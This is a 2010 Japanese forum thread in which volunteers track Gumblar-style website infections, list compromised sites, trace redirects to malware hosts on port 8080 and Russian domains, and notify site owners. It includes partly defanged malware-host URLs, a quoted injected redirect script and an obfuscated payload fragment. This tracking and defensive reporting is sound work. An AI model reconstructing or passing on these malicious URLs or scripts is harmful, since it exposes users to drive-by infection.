- > www2●ocn●ne●jp/~hcy/ryoukin●html （gumblar x）
どこにある？
- 845 ：名無しさん＠お腹いっぱい。：2010/06/25(金) 06:35:40
- ITWB2 次回「脅威！ガンブラーウイルスの正体」
ttp://img189.imageshack.us/flvplayer.swf?f=Mgumblaritwb2&autostart=true
- 846 ：名無しさん＠お腹いっぱい。：2010/06/25(金) 16:57:30
- 取扱注意
www●wedia-t●com
- 847 ：名無しさん＠お腹いっぱい。：2010/06/25(金) 21:21:38
- >>843
対応するのはOCNじゃなくてそこを使ってる利用者だろ・・・
- 848 ：735：2010/06/25(金) 22:17:18
- 当館ホームページ改ざんの件
ttp://www.maizurusou.co.jp/topics/index.html
- 849 ：名無しさん＠お腹いっぱい。：2010/06/26(土) 11:08:02
- XPにゼロデイきたー
https://www-950.ibm.com/blogs/tokyo-soc/entry/mshelp0day_20100625?lang=ja
- 850 ：八頭 ◆YAGApwSaEw ：2010/06/26(土) 11:09:08
- bkc-net●com
- 851 ：コテハン ◆8080adndqg ：2010/06/26(土) 13:17:08
- 【陥落サイトのURL悪用厳禁】
www●hugoinc●us/PDF ←意味不
blog●nadamori●com/ ←新型の「.info:8080」
p-asahi●com/shop/rss/
.biz:8080は来るかな？
- 852 ：八頭 ◆YAGApwSaEw ：2010/06/27(日) 14:23:45
- USドメだが
dogforums●com
- 853 ：名無しさん＠お腹いっぱい。：2010/06/27(日) 14:48:38
- ume
- 854 ：名無しさん＠お腹いっぱい。：2010/06/27(日) 16:53:29
- shabao●com/public_html/top_footer
www●ff●iij4u●or●jp/~ceh/lvvl/ferachan
www●daini-survey●com/xmlrpc●php
www●soul-wave●jp/RAYCA/
- 855 ：名無しさん＠お腹いっぱい。：2010/06/27(日) 22:25:22
- 最近ヤバいコードや新しいコードはどんなのがあるんだ
- 856 ：名無しさん＠お腹いっぱい。：2010/06/27(日) 23:50:01
- 歴代Gumblar感染サイトとかまとめてる人がいればなあ
- 857 ：名無しさん＠お腹いっぱい。：2010/06/27(日) 23:54:08
- このスレの過去ログ全部持ってる人ならいるんじゃない
- 858 ：コテハン ◆8080adndqg ：2010/06/28(月) 00:00:58
- 【陥落サイトのURL悪用厳禁】
www●cb-med●jp/jb/?a=ds&Id=71
電話番号の8080に引っ掛かってきたｗ
- 859 ：名無しさん＠お腹いっぱい。：2010/06/28(月) 04:51:59
- 0-dayやってるグループと大規模にひっかけてるグループじゃ別グループみたいで、
0-dayコードがいきなり大量攻撃に使われることはあまり無いな
- 860 ：名無しさん＠お腹いっぱい。：2010/06/28(月) 07:14:00
- まれによくある
- 861 ：名無しさん＠お腹いっぱい。：2010/06/28(月) 11:38:22
- >>856－857
とりあえず危険なコードをまとめたtxtファイルなりwikiなりがあると助かるな
- 862 ：名無しさん＠お腹いっぱい。：2010/06/28(月) 13:22:23
- そんなの何に使うの？
悪用されることが目に見えてるよ
ついでにコード自体は難読化されてることも多いんでまとめる意味が無い
被害サイト見てもわからないならわからないとおもう
- 863 ：名無しさん＠お腹いっぱい。：2010/06/28(月) 14:37:40
- 最近、Webサイト改ざんよりも、メールのリンクから感染させようとするのが増えてきてる。
メールのリンクをクリック
↓
リンク先から com;8080、info;8080 へリダイレクト
↓
index.phpを読み込む
↓
pdfとJREファイルをダウンロードしてローカルで実行される
改ざんされたサイトよりも、メールを送りつけられる方が増えてるな…。
SPAMメールなのにリンクをクリックしちゃうユーザが多すぎて困る
- 864 ：名無しさん＠お腹いっぱい。：2010/06/28(月) 14:56:31
- 自分が警戒するだけなら、こっちの方がずっと楽だなｗ
- 865 ：名無しさん＠お腹いっぱい。：2010/06/28(月) 18:45:34
- 最新Gumblar、Windows「ヘルプとサポートセンター」の脆弱性を利用
～JPCERTが注意喚起
http://www.rbbtoday.com/article/2010/06/28/68725.html
対象となる製品とバージョンはWindows XP Service Pack 2および
Windows XP Service Pack 3、Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2、Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systemsの5種。
28日現在、マイクロソフト社より本件に関するセキュリティ更新プログラムは
公開されていないため、軽減策として、HCPプロトコルの登録の解除が提示されている。
また本軽減策を自動的に適用するための“Microsoft Fix it”も公開中とのこと。
- 866 ：名無しさん＠お腹いっぱい。：2010/06/28(月) 20:44:34
- >>863
送信ドメイン認証でスパム判定してるから、そういったメールは読まないな
送信ドメイン認証NG→ホワイトリストにはいってる特定アドレス以外はデフォルトでスパムメールと判断
でいいんじゃね？
- 867 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/29(火) 00:06:03
- 仕事地獄終了…
>>850以降で書き込まれていたURLで、現時点でも
ウイルスが仕込まれているサイトにはメル凸しました
英語サイトはスルー
>>849
http://www.virustotal.com/analisis/167501b07f0cafb8dc73ef4bd0d7ea4640725c7f6a28ac69ccb33a11ec0db2b5-1277714205
http://www.virustotal.com/analisis/ea1eb23873efbb6cba1644ceee736a1977a386dd01105ecc7d39882301a651a0-1277714313
AviraはNotes1をマルウェアと認定している模様
Avastからは反応なし、対応済みなのかな？
- 868 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/29(火) 16:39:28
- blog.unmaskparasites.com/2010/06/17/malware-on-hijacked-subdomains-part-2/
> org:8080/File●js
> biz:8080/File●js
- 869 ：名無しさん＠お腹いっぱい。：2010/06/30(水) 02:29:13
- Adobe Acrobat のバージョンアップ
- 870 ：名無しさん＠お腹いっぱい。：2010/06/30(水) 02:39:50
- 9.3.3.177
- 871 ：名無しさん＠お腹いっぱい。：2010/06/30(水) 16:56:33
- Adobeは10年前通ったMicrosoftと同じ道を辿ってるな
- 872 ：名無しさん＠お腹いっぱい。：2010/07/01(木) 07:27:55
- yamaga-blanks●com/gazoup2/
yamaga-blanks●com/gazoup2/index●php?mode=rss
yokohamac●com/info/
yokohamac●com/info/?feed=rss2&p=17
- 873 ：名無しさん＠お腹いっぱい。：2010/07/01(木) 14:56:29
- 本日23:30～ NHK
ITホワイトボックスII「脅威！ガンブラーウイルスの正体」
- 874 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/01(木) 15:49:44
- >>872
メル凸済み、反応待ち
www.itmedia.co.jp/enterprise/articles/1007/01/news022.html
随分めんどくさい事になってるようですね
- 875 ：名無しさん＠お腹いっぱい。：2010/07/01(木) 20:47:06
- >>874
乙
yokohamacは403になってるもよー。
yamaga-blanksにメルポした。
- 876 ：名無しさん＠お腹いっぱい。：2010/07/01(木) 23:29:58
- >>873
たった25分？
- 877 ：名無しさん＠お腹いっぱい。：2010/07/01(木) 23:58:42
- ホワイトボックスの解説混同しまくり？
ウェブページの改ざん方法から感染させられるウィルスの情報まで一緒くたでよく分からんかった。
とりあえず、セキュリティーツールという偽アンチウィルスソフトの画面が見られて、ふぅんとは思えた。
- 878 ：名無しさん＠お腹いっぱい。：2010/07/02(金) 00:05:24
- NHKやっちまったなｗ
- 879 ：名無しさん＠お腹いっぱい。：2010/07/02(金) 00:22:24
- なにを？
- 880 ：名無しさん＠お腹いっぱい。：2010/07/02(金) 00:28:44
- とりあえず、ホワイトボックスの再放送はまだあるから、生で見るなり録画するなりしてみられるよ。
こっちも録画してアップするか、テキストに書き起こしてみる。
- 881 ：名無しさん＠お腹いっぱい。：2010/07/02(金) 00:45:32
- 不特定多数向けの構成なんだからあんなものだろ。
- 882 ：名無しさん＠お腹いっぱい。：2010/07/02(金) 01:44:31
- 現在主流の8080系を「Gumblar(亜種)」と呼ぶの･･いい加減やめませんか？
- 883 ：名無しさん＠お腹いっぱい。：2010/07/02(金) 08:45:38
- マスゴミがそう書いちゃったから仕方がない。
drive-by-downloadなんて大昔からあるんだけど、
セキュ関係も説明すんのめんどくさくなって
「いわゆるgumlar」で済ませてる所が多い。
- 884 ：名無しさん＠お腹いっぱい。：2010/07/02(金) 18:57:08
- >>845>>873
見るのを忘れましたorz
再放送も見逃すかも(´・ω・｀)
ttp://www.nhk.or.jp/itwb/2/programme/
■ 放送予定
7月3日（土）午前5:00～
「脅威！ガンブラーウイルスの正体」BS2
7月4日（日）午後2:00～
「脅威！ガンブラーウイルスの正体」教育
- 885 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/02(金) 21:08:17
- >>875
チェック乙です
「yamaga-blanks●com/gazoup2/」も404みたいですね
そしてGumblar特集を放映してた頃に漁ってたもの
topious●fairwaydrycleaners●net:8080/Scanner●js
topious●fairwaydrycleaners●net:8080/Gnutella●js
topious●fairwaydrycleaners●net:8080/Vector_Graphic●js
huio●e-solutionsystems●net:8080/Hard_Disk●js
.jsに繋がらないので正直何とも言えませんが、一応報告だけ
- 886 ：名無しさん＠お腹いっぱい。：2010/07/02(金) 21:11:10
- >>882
じゃあモンブラン
- 887 ：名無しさん＠お腹いっぱい。：2010/07/02(金) 21:20:17
- ishikane-hospital●or●jp/isikane_i/
- 888 ：名無しさん＠お腹いっぱい。：2010/07/02(金) 23:54:10
- >>887
乙
whoisからめるぽすた。
- 889 ：名無しさん＠お腹いっぱい。：2010/07/03(土) 15:22:14
- ゲーム系サイトもまずいのかなあ
- 890 ：名無しさん＠お腹いっぱい。：2010/07/03(土) 16:19:18
- 少なくとも個人運営サイトは危ないと思う、同人サイトはだいぶ対策が取られてるけどそれでもズカズカ踏み込むのはオススメしないね
ゲームでもwiki系HPならまだ大丈夫……か？詳しくないから解らん
- 891 ：名無しさん＠お腹いっぱい。：2010/07/03(土) 16:39:12
- やられない・やられても大丈夫の２段構えにしてるからズカズカ踏み込んでるよ
- 892 ：名無しさん＠お腹いっぱい。：2010/07/03(土) 17:08:50
- >>890
>ゲームでもwiki系HPならまだ大丈夫……か？詳しくないから解らん
分からないなら、いい加減なこと言うなよｶｽ。
- 893 ：名無しさん＠お腹いっぱい。：2010/07/03(土) 18:05:43
- 発売直後の人気ゲームの攻略wikiとか
リンク先がどっかのエロサイトに変えられるとかザラだよな
- 894 ：名無しさん＠お腹いっぱい。：2010/07/03(土) 18:16:08
- >>892
お前もお前で一言多いがな
- 895 ：名無しさん＠お腹いっぱい。：2010/07/03(土) 18:40:39
- >>887
修正確認
Last-Modified: Sat, 03 Jul 2010 03:16:25 GMT
- 896 ：名無しさん＠お腹いっぱい。：2010/07/03(土) 19:31:50
- >>889
ゲームアーツとかGAMESIDE関連のサイトがやられた過去があるから
大手公式サイトでも油断は禁物
- 897 ：名無しさん＠お腹いっぱい。：2010/07/03(土) 20:16:50
- 三井住友VISAがやられてる時点で
- 898 ：名無しさん＠お腹いっぱい。：2010/07/04(日) 02:11:04
- そもそもそういうジャンル分けで考えられる問題じゃない
どこも危ない
- 899 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/04(日) 04:06:14
- ちゅらひめにfm:8080…そういえばそんなドメインもありました
しかしいつから埋まってたんだろう
>>889
絶対安全といえるサイトは正直何処にもないですね
FTPの接続先がどんな内容かなんてお構いなしですから
ふと思う、コミックマーケットも近いこの時期にシャッター前サークルや
出展企業の公式サイトが陥落したらと思うとなかなか恐ろしいものが…
- 900 ：八頭 ◆YAGApwSaEw ：2010/07/04(日) 13:34:51
- >>夷塚さん甘いよ・・・
ttp://i50.tinypic.com/fw81l3.jpg
- 901 ：名無しさん＠お腹いっぱい。：2010/07/04(日) 17:36:08
- 強いて言えばhtml読み込まない専ブラ使えるとこが比較的安全度高いくらいか
- 902 ：名無しさん＠お腹いっぱい。：2010/07/04(日) 18:19:13
- ちょっと調べたが、最近出たHCPプロトコル云々はまたレジストリを弄らないとダメな類か
一般ユーザー涙目ってレヴェルじゃないな……
ところでブラウザのIE８なんだが、インターネットオプションの「ページの自動読み込み」はどうするべきなんだろうか
これつけっぱなしだと感染してるURLのハイパーリンクに触れただけで読み込まれてしまう？
- 903 ：名無しさん＠お腹いっぱい。：2010/07/04(日) 21:30:10
- >>902
> HCPプロトコル云々
それFix it出てる
http://support.microsoft.com/kb/2219475
- 904 ：名無しさん＠お腹いっぱい。：2010/07/05(月) 01:40:42
- http://blogs.itmedia.co.jp/grayghost/2010/02/gumblargeno-8ca.html
こういう裁判起こすWeb制作会社にびっくりした
- 905 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/05(月) 03:52:42
- www.google.com/safebrowsing/diagnostic?site=[www.楽々茶.com]/&hl=ja
→peer●webserviceaan●ru/js●js
→109●196●134●58/ssl●html
→cache●globalforexnet●com:8080/index●php?pid=6
>>900
仰りたい事が理解できてるか正直不安ですが、ystat.jsの事でしょうか？
間違ってたらごめんなさい
>>902
リンク先読みは無効にしちゃってもいいんじゃないでしょうか
- 906 ：八頭 ◆YAGApwSaEw ：2010/07/05(月) 20:53:11
- >>夷塚さん
これは2008年のお話
ttp://i45.tinypic.com/21j2340.jpg
- 907 ：八頭 ◆YAGApwSaEw ：2010/07/05(月) 20:55:56
- filelist.us
US留め
- 908 ：名無しさん＠お腹いっぱい。：2010/07/05(月) 21:36:31
- ハードディスクに保存したwebページを開いたら
「Adobe Flash Playerは潜在的に危険な操作を停止しました。
お客様のコンピューターまたはネットワークで次のローカルアプリケーション
（ここに保存したwebページのローカルアドレスが入ってます）
はインターネット接続が有効になっている次の場所と通信しようとしています
ai.yimg.jp
このアプリケーションがインターネット通信できるようにするには、
「設定」をクリックしてください。
設定の変更後アプリケーションを再起動する必要があります」
というダイアログが出てきます、これはweb改竄ウイルスでしょうか？
怖いので何もいじくってません
- 909 ：908：2010/07/05(月) 21:38:21
- ちなみにＮＩＳ２０１０は無反応でした
- 910 ：名無しさん＠お腹いっぱい。：2010/07/05(月) 21:48:51
- 違います
- 911 ：名無しさん＠お腹いっぱい。：2010/07/05(月) 21:59:16
- ai.yimg.jpはyahooのAdServerだよ
- 912 ：908：2010/07/05(月) 22:14:24
- >>910-911
違うんですね、よかった・・・
お答えありがとうございました
- 913 ：名無しさん＠お腹いっぱい。：2010/07/06(火) 01:23:58
- >>905
修正したみたい。＞楽
- 914 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/06(火) 09:40:07
- >>906
「その問題はとうの昔に起きていますよ」
というご指摘をされてるんだなと解釈してたんですが…
なんか的外れな事を言ってる気がしてきましたorz
>>913
チェック乙です
精査まではしてませんけど、aguseで見た限りは大丈夫そうですね
- 915 ：名無しさん＠お腹いっぱい。：2010/07/06(火) 15:16:08
- http://www.forest.impress.co.jp/docs/news/20100706_378898.html
- 916 ：名無しさん＠お腹いっぱい。：2010/07/06(火) 15:31:06
- トレンドマイクロwwww
- 917 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/06(火) 16:45:29
- >>913
ぜんぜんだめでした
恐ろしい量の.ru/js.jsが仕込まれてます…
- 918 ：名無しさん＠お腹いっぱい。：2010/07/06(火) 17:00:56
- >>908のは例のFlashの設定にある自動的にP2P云々の奴だな
心配なら設定ページで開かないようにすればいい
- 919 ：名無しさん＠お腹いっぱい。：2010/07/06(火) 18:46:49
- ブラウザが外部の80と443に接続できるよう許可を与え
8080に接続できないようにPFWで設定しておけば良いのですか？
- 920 ：名無しさん＠お腹いっぱい。：2010/07/06(火) 20:19:46
- >>917
あれれ、
「00_css/default.asp」以外にもあるのか。。。
「.ru/js.js」があったときのソース。（注意：アンチウイルスがソースに反応する場合があります。）
http://megalodon.jp/2010-0705-0530-51/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww.lalacha.com%2F00_css%2Fdefault.asp
いま、撮ったソース。
http://megalodon.jp/2010-0706-2009-42/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww.lalacha.com%2F00_css%2Fdefault.asp
- 921 ：名無しさん＠お腹いっぱい。：2010/07/06(火) 20:24:36
- まずこのスレきたら
>>2を見てURLチェッカーでURL調査しようね＾－＾
- 922 ：名無しさん＠お腹いっぱい。：2010/07/06(火) 20:25:37
- >>920っと。
>>917
見つけました。
そこだけ削除したんか。。。
もいちどメル逝ってきまつ。。。
- 923 ：名無しさん＠お腹いっぱい。：2010/07/06(火) 20:30:24
- って>>922
別のアドのads.jsになってた。。。
http://megalodon.jp/2010-0706-2027-14/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww%2Elalacha%2Ecom%2Finfo%2Fstockdiarylist%2Easp
- 924 ：sage：2010/07/06(火) 23:04:18
- 楽々茶はSQLインジェクションだから
データベースを修正すれば全部解決
またやられれば、あちこちにまた挿入…ってことになりますね
- 925 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 00:41:55
- ちょっと早いけど次スレ
http://pc11.2ch.net/test/read.cgi/sec/1278430098
テンプラは改竄されなかったけｄ(ry
- 926 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 01:34:37
- >>917
メルすたお。
>>924
なんですとぉー。。。
>>905でこちらでもcom:8080へ逝ったの確認すたのでしが。。。orz......
- 927 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 01:53:42
- >>926
×com:8080へ逝った
○109●196●134●58/ssl●htmlまで逝けてcom:8080へ飛ばそうしてた
com:8080は蹴られたん。
- 928 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 02:29:49
- >>919
それで問題ないし感染を防げる
こんな下らんものに感染するのは素人だけ
買ってきたパソコンをそのまま使ってるカス
- 929 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 08:35:25
- 本当にIDが出ないのをいいことにPC捨てればだのカスだの余計な一言が多いなこのスレ
常に相手を見下して優越感に浸ってないと気が済まない人種なんだろうか……
あと>>925乙
- 930 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 10:35:53
- スレの存在意義あるよね、初心者の手助けになってるし＾－＾
- 931 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 10:54:18
- Gumblarってそんなに流行してる？周囲みても引っ掛かった人いないよ・・・・・
最近はルーターとかウイルスソフト入れて対策してるから大丈夫のようです
- 932 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 11:06:06
- ここは感染防止のスレじゃないですからねー（汗）
感染してる人を見つけて報告するのが目的ですし
今まで通り仲良くやりましょうよ
>>925乙
- 933 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 11:52:47
- >>929
ブラウザが外部の80と443に接続できるよう許可を与え
8080に接続できないようにPFWで設定しておけば良いのですか？
- 934 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 14:02:19
- Browser Guard 2010
http://www.gigafree.net/security/antivirus/browserguard.html
- 935 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 15:02:46
- イラネ(ﾟдﾟ)
- 936 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/07(水) 15:13:06
- 【悪用厳禁】
www●infini+ypm●jp/shale52●html
→<scr ipt>location = 'h++p://thesuperviagra●com/';</scr ipt>
バリュードメイン…orz
- 937 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 18:15:31
- >>919
>>928
8080はウィルス作者が仮につけたもんだから、
今後81とか444とか勝手に変わるかも知れない
現状、確かにそれで感染しにくくはなるが
それは完璧な対応ではない
こういう過信してる奴こそ危ない
初期ガンブラーはtcp80そのものじゃなかったっけ？
- 938 ：名無しさん＠お腹いっぱい。：2010/07/07(水) 18:29:17
- >>937
どういった対策を取っているの？
ＡＶＧとかカスペで定期的にスキャンしてれば良いですか？
- 939 ：名無しさん＠お腹いっぱい。：2010/07/08(木) 09:02:58
- いちばんの対策は、WinVista/7を使って、非管理者の一般ユーザー権限でログインしてWeb閲覧、
ブラウザは、IE8(保護モードオン)もしくはChrome
これでしょ？
OS/ブラウザレベルで0-dayでもやられなくしたうえで、さらにウイルス対策ソフトで念のために防御
- 940 ：名無しさん＠お腹いっぱい。：2010/07/08(木) 15:51:18
- ウイルス対策ソフトなんだが
今まで２ｃｈのログファイルの中のコードが反応したくらいで
後は何も検出されたことないな・・・
何もないので逆に不安になるｗｗｗ
- 941 ：名無しさん＠お腹いっぱい。：2010/07/08(木) 21:02:29
- eicar.com踏んでみたり、メールで自分宛に送ってみたりすれば？
- 942 ：名無しさん＠お腹いっぱい。：2010/07/08(木) 21:18:40
- あ、eicar.comはテストしたことあるよ
それには反応した
言うの忘れてた・・・ｽﾏｿ
- 943 ：名無しさん＠お腹いっぱい。：2010/07/09(金) 06:49:34
- hobby-channel●net
さっきここ開いたら
「ヘルプとサポートセンター」が開いて
よく分からないプログラムのような文字列が表示された。
>>865に書かれてる最新Gumblarかな？
- 944 ：名無しさん＠お腹いっぱい。：2010/07/09(金) 09:59:14
- >>943
Vista以降でも脆弱性がないだけで「ヘルプとサポートセンター」は開くってこと？
XPならこの脆弱性だけでもシステムいじられるみたいだからマズイよなあ
ttp://www.smilebanana.com/archives/2010/06/29-2302.php
- 945 ：名無しさん＠お腹いっぱい。：2010/07/09(金) 11:46:17
- mail●hobby-channel●net/item-review/6359-6359●html
昨夜、上のアドレスを開いたら
MSIE Java Deployment Toolkit Input Invalidation
MSIE ADODB.Stream Object File Installation Weakness
の2個が
侵入の試みを遮断しました。と出ました
完全スキャンもしたんですが、何も出ませんでした。
XP ノートンです。
- 946 ：943：2010/07/09(金) 12:23:53
- >>944
自分はXPでIE6を使ってます。
で、そのサイトを踏んだら
「ヘルプとサポートセンター」が開きそこにプログラムのような文字列が表示されました。
（そのまま開きっぱなしでその後の変化何も無し）
その後、複数社オンラインスキャンしましたが何も見つかりませんし
Gumblar/GENOのまとめサイトも見て色々探してみましたが怪しいものは何もありません。
それに944さんが教えてくれたサイトを見ると
『「ヘルプとサポートセンター」の画面が表示されてすぐに消え、同時にJavaのアイコンがタスクバーに現れる』
とのことなので、もしかしてギリギリ感染していないのでは？
とちょっと思いました。
でも全く同じ状況ではないですしもう少し調べてみようと思います。
（最悪の場合リカバリした方がよいかな、とも考えています）
ありがとうございました。
- 947 ：名無しさん＠お腹いっぱい。：2010/07/09(金) 16:59:56
- JRE 6u21が来てるみたいだが
セキュリティに関するアップデートはないようだ
- 948 ：名無しさん＠お腹いっぱい。：2010/07/09(金) 17:43:23
- いつになったらこのウイルスから解放されるの？
つーか何故誰もこの改竄やってるバカを捕まえないんだ？
他のウイルス作者はガンガン捕まってるというのに…
これだけ就活とか会社の営業に悪影響を与えているんだから
国レベルで捕まえるのが普通だろうに
- 949 ：名無しさん＠お腹いっぱい。：2010/07/09(金) 17:53:06
- >>948
> いつになったらこのウイルスから解放されるの？
このウイルスが収束しても似たのが出てくる
実際いまはすでに亜種いろいろ
> つーか何故誰もこの改竄やってるバカを捕まえないんだ？
亜種も含めてたくさんいます
> 他のウイルス作者はガンガン捕まってるというのに…
そうでもないだろ
> これだけ就活とか会社の営業に悪影響を与えているんだから
> 国レベルで捕まえるのが普通だろうに
国レベルで捕まえるって例えばどんなふうにやるの？
就活は個人の問題
会社もPC管理がおろそかなとこが問題になってるだけ
- 950 ：名無しさん＠お腹いっぱい。：2010/07/09(金) 20:17:19
- >>948
去年の12月23日ころくらいから新型が話題になったんだっけ？
そのときアドビがもっとしっかりと対応していれば・・・
あんまり変わらなかったのかも知れないけど
- 951 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/10(土) 01:15:46
- http://hobby-channel.net/notice/50-hcspecial/19341-19341.html
> 弊社サイトのウイルス感染に関するお詫びとお願い
- 952 ：名無しさん＠お腹いっぱい。：2010/07/10(土) 01:39:11
- ＿人人人人人人人人人人人人人人人＿
＞ わりとどうでもいい ＜
￣^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^Ｙ^^Ｙ^￣
ヘ(^o^)ヘ
|∧
/
- 953 ：名無しさん＠そうだ選挙に行こう：2010/07/10(土) 17:15:09
- うちのサーバはFTPログインできるのはホームページ管理会社のIPアドレスのみ
＆契約時の条件にウイルス対策ソフトウェアいれて最新に更新したPCから更新することっていれてるぞ
- 954 ：名無しさん＠そうだ選挙に行こう：2010/07/10(土) 17:40:37
- つい最近ヘルプとサポセンの脆弱性出たよな
- 955 ：名無しさん＠そうだ選挙に行こう：2010/07/10(土) 18:33:08
- >>954
ヘルプの脆弱性のやつはウィンドウズアップデートではなくて、
MSの用意したHPから適用をして、対応するんだっけ？
- 956 ：名無しさん＠そうだ選挙に行こう：2010/07/10(土) 18:49:03
- 今のところはね。レジストリでhcp潰す奴(FixItも同じ)。
今月パッチ配布予定。
- 957 ：名無しさん＠そうだ選挙に行こう：2010/07/10(土) 18:58:43
- Microsoft、7月の月例更新は3件の「緊急」の脆弱性に対応
Microsoft は今回、最近見つかった2つのゼロデイ脆弱性のための
修正パッチをリリースしようとしている。
Googleのエンジニアが先週公開した
ゼロデイ脆弱性の1つは、『Microsoft Windows Help and Support Center』の
機能の欠陥
対応なしは
1.今週初めに匿名のハッカーグループが公表したもう1つのゼロデイ脆弱性に今回対応しない予定
2.
6日にユーザーおよびシステム管理者に対して警告を行なった
開発者向けの重要なクラスライブラリ『Microsoft Foundation Class』(MFC) に存在する
セキュリティホールについても今回対応しない予定
なお、Microsoftはこの日をもって、Windows 2000とWindows XP SP2(32bitのみ)のサポートを打ち切る。
以後、たとえ深刻な問題が見つかったとしても、解決のための更新プログラムは提供しない。
- 958 ：名無しさん＠そうだ選挙に行こう：2010/07/10(土) 23:39:55
- http://pc11.2ch.net/test/read.cgi/sec/1276671434/805-806n
アラビア文字っぽい
- 959 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/11(日) 02:08:29
- >>958
確認しました
凸っておきます
- 960 ：コテハン ◆8080adndqg ：2010/07/11(日) 11:08:49
- 【陥落サイトのURL悪用厳禁】
www●prjapan●com/ ←どうやったらこうなる？
- 961 ：名無しさん＠そうだ選挙に行こう：2010/07/11(日) 11:25:21
- 静的なhtmlではなく、いろんなデータベースやファイルから拾って生成する
動的なページにはよくあること。
www●prjapan●com/xmlrpc.php
なんてのまでやられてる。
- 962 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/11(日) 19:35:34
- やっと通った…
gopakgyo●playmateswcc●com:8080/CAD●js
→gopakgyo●playmateswcc●com:8080/index●php_Gk…
→<div name="Ndo251m5n" id="Ndo251m5n">103R100R38R38…
http://www.virustotal.com/analisis/2c338972f6a08ae0b9945b1a00e76025101208c8912be63cc79742294684666a-1278839935
Result: 1/41 (2.44%) … Troj/ObfJS-X
怖くてこれ以上先に行けなかったけど、例の脆弱性狙いかな
Avira、Avast、Kasperskyに検体提出
- 963 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/12(月) 15:39:49
- hinano●net ：Forbidden
prjapan●com ：スクリプト消去/告知なし
www●lalacha●com/product/productList●asp?kindid=4 ：found「.ru/js.js」
www●infinitypm●jp/shale52●html ：生存/跳び先変更/デジロぇ…
- 964 ：名無しさん＠お腹いっぱい。：2010/07/12(月) 16:59:00
- 取扱注意
www●keiunkaku●com
ドットコム：8080恐ろしいです＞＜；
- 965 ：名無しさん＠お腹いっぱい。：2010/07/13(火) 05:40:04
- 今流行りらしいミューズの音が流れるウイルスは
このweb改変しているウイルスとは全然違うものでしょうか？
- 966 ：名無しさん＠お腹いっぱい。：2010/07/13(火) 05:42:57
- はい
- 967 ：名無しさん＠お腹いっぱい。：2010/07/13(火) 05:46:19
- 申し訳ありませんでした。
- 968 ：名無しさん＠お腹いっぱい。：2010/07/13(火) 05:51:27
- はい
- 969 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/13(火) 20:43:32
- www●keiunkaku●com ：駆除を確認
www●lalacha●com ：再改竄を確認/頑張りすぎorz
> 検出数 URL
> 612 peer●webserviceaan●ru/js●js
> 177 www●lalacha●com/01_js/function●js
> 158 go●postfolkovs●ru/js●js
> 123 sslput●postfolkovs●ru/js●js
> 93 vba●postfolkovs●ru/js●js
> 90 frame●webservicesttt●ru/js●js
> 64 base●webserviceftp●ru/js●js
> 55 ole●webservicesbba●ru/js●js
> 54 confirm●postfolkovs●ru/js●js
> 54 ntio●webservicelupa●ru/js●js
> 27 www●ads-t●ru/ads●js
- 970 ：名無しさん＠お腹いっぱい。：2010/07/15(木) 05:22:16
- 相模女子大が感染してるのもこれですかね？
- 971 ：名無しさん＠お腹いっぱい。：2010/07/15(木) 05:23:56
- 大学のサイトならとりあえずこのウィルスに限らず至急電凸orメル凸すべし
大学のサイトなんて他のサイトと比べてアクセスされる回数は多いんだから
- 972 ：名無しさん＠お腹いっぱい。：2010/07/15(木) 05:26:53
- 内部向けのとこだし対処する告知あるからいいかと思って・・・
- 973 ：名無しさん＠お腹いっぱい。：2010/07/15(木) 13:45:25
- 内部向けのサイトなら外から確認できないだろ
- 974 ：名無しさん＠お腹いっぱい。：2010/07/15(木) 21:33:40
- chibi●9981●ne●jp/psd/
- 975 ：名無しさん＠お腹いっぱい。：2010/07/16(金) 13:28:39
- lacinquieme●s7●xrea●com
- 976 ：名無しさん＠お腹いっぱい。：2010/07/18(日) 12:57:21
- いつも使っている有名なあるサイトで、
新しいコンテンツがあったので登録しようとしたら、
別のページへ飛ぶんだけど、その時に火狐のCookieの許可画面で～.jp:8080て表示が出たが、
これは怪しいサイト？
aguseで元リンクからとか探ったけど、反応は出なかった
- 977 ：名無しさん＠お腹いっぱい。：2010/07/18(日) 13:12:45
- 別に8080ポートが全部怪しいわけじゃないし。
ここは鑑定スレじゃないので、その辺を
自分で判断できないなら他行ってくれ。
- 978 ：名無しさん＠お腹いっぱい。：2010/07/18(日) 13:27:44
- >>976
URL貼れよ
- 979 ：名無しさん＠お腹いっぱい。：2010/07/18(日) 14:56:38
- www●realworld●jp/game
の「今すぐはじめる」をクリックした次の同意ページで、
同意を選ぶと出るクッキー可否が8080表示ですが・・・
同意ページはどのゲームでも8080クッキーが出ます
- 980 ：名無しさん＠お腹いっぱい。：2010/07/18(日) 17:06:18
- でも8080は全部遮断するくらいが精神衛生に良いと思うよ
- 981 ：名無しさん＠お腹いっぱい。：2010/07/18(日) 23:26:36
- 18日時点の8080なら、>>4をすべて網羅して
あれば問題なしと思われる
